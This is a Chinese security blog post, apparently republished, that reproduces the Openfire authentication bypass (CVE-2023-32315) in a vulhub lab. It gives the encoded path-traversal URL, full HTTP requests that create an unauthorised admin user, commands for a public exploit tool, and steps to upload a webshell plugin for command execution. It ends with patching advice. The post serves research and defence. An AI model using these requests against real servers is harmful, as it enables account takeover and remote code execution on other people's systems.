『漏洞复现』记 Openfire 身份认证绕过漏洞导致_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

『漏洞复现』记 Openfire 身份认证绕过漏洞导致

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


『漏洞复现』记 Openfire 身份认证绕过漏洞导致

日期:2023-12-20作者:hdsec介绍:本文介绍一下Openfire身份认证绕过漏洞(CVE-2023-32315)。 0x00 前言 在某次演练中遇到Openfire,于是整理了本文,如有不妥之处还望指正。 0x01 什么是Openfire Openfire是一个开源的实时协作服务器,也被称为XMPP(Extensible Messaging and Presence Protocol)服务器。它是基于Java语言开发的,提供了一套完整的实时通信解决方案。Openfire支持即时消息传递、在线状态监测、群组聊天、文件传输等功能。它使用XMPP协议作为通信协议,这个协议被广泛应用于即时通讯、社交网络和物联网等领域。Openfire具有可扩展性强、易于部署和管理的特点,因此在企业内部通讯、社交平台、在线客服等场景中得到了广泛应用。 0x01 漏洞影响范围 3.10.0 <= Openfire < 4.6.8 4.7.0 <= Openfire 4.7.x < 4.7.5 0x02 漏洞环境搭建 vulhub漏洞环境: https://github.com/vulhub/vulhub/tree/master/openfire/CVE-2023-32315   执行如下命令启动一个4.7.4版本的Openfire: docker-compose up -d 服务器启动后,访问http://your-ip:9090跳转到登录页面。 0x03 漏洞复现 3.1 漏洞验证 访问如下链接: http://x.x.x.:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp 成功访问到未授权日志文件,证明存在Openfire管理后台认证绕过漏洞。 3.2 未授权创建用户 获取JSESSIONID和csrf: GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp HTTP/1.1Host: x.x.x.x:9090Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0Content-Length: 2   使用获取到JSESSIONID和csrf创建用户admin123/admin123。 GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=SM0rG58cmPWkkiR&username=admin123&name=&email=&password=admin123&passwordConfirm=admin123&isadmin=on&create=Create+User HTTP/1.1Host: x.x.x.x:9090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36Connection: closeCache-Control: max-age=0Cookie: JSESSIONID=node0emorecgj3xmr1cq89bo05r05v176.node0;csrf=SM0rG58cmPWkkiR 使用创建的用户名和密码可成功登录系统。 除了利用上面手工方法创建用户,我们还可以利用github上的漏洞利用工具: https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass cd CVE-2023-32315-Openfire-Bypass/scan_allgo mod tidygo run main.go -u http://x.x.x.x:9090   可直接创建用户名密码。 3.3 后台上传插件实现RCE 登录后台,在Plugins功能处上传从github上下载的插件。 https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass/releases/tag/v0.1`   上传成功后在server - server settings功能处发现发现shell Plugins,成功得到webshell。 输入管理密码123,可进行命令执行。 0x04 加固建议 通常,开源软件在使用中可能会发现安全漏洞,并且开发者会不断努力修复这些漏洞并发布更新版本。如果你正在使用Openfire,建议你遵循以下步骤来确保系统的安全性: 及时更新:定期检查Openfire的官方网站或邮件列表,获取最新的安全更新和补丁,并及时应用到你的系统中。 强化安全设置:配置Openfire的安全设置,例如限制访问、强密码策略等。 检查插件和扩展:审查安装的插件和扩展是否来自可信的来源,并确保它们是最新版本,以降低潜在的安全风险。 定期安全审计:进行系统安全审计,识别潜在的漏洞,并采取适当的措施来加强安全性。 免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。 文章来源:宸极实验室 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

『漏洞复现』记 Openfire 身份认证绕过漏洞导致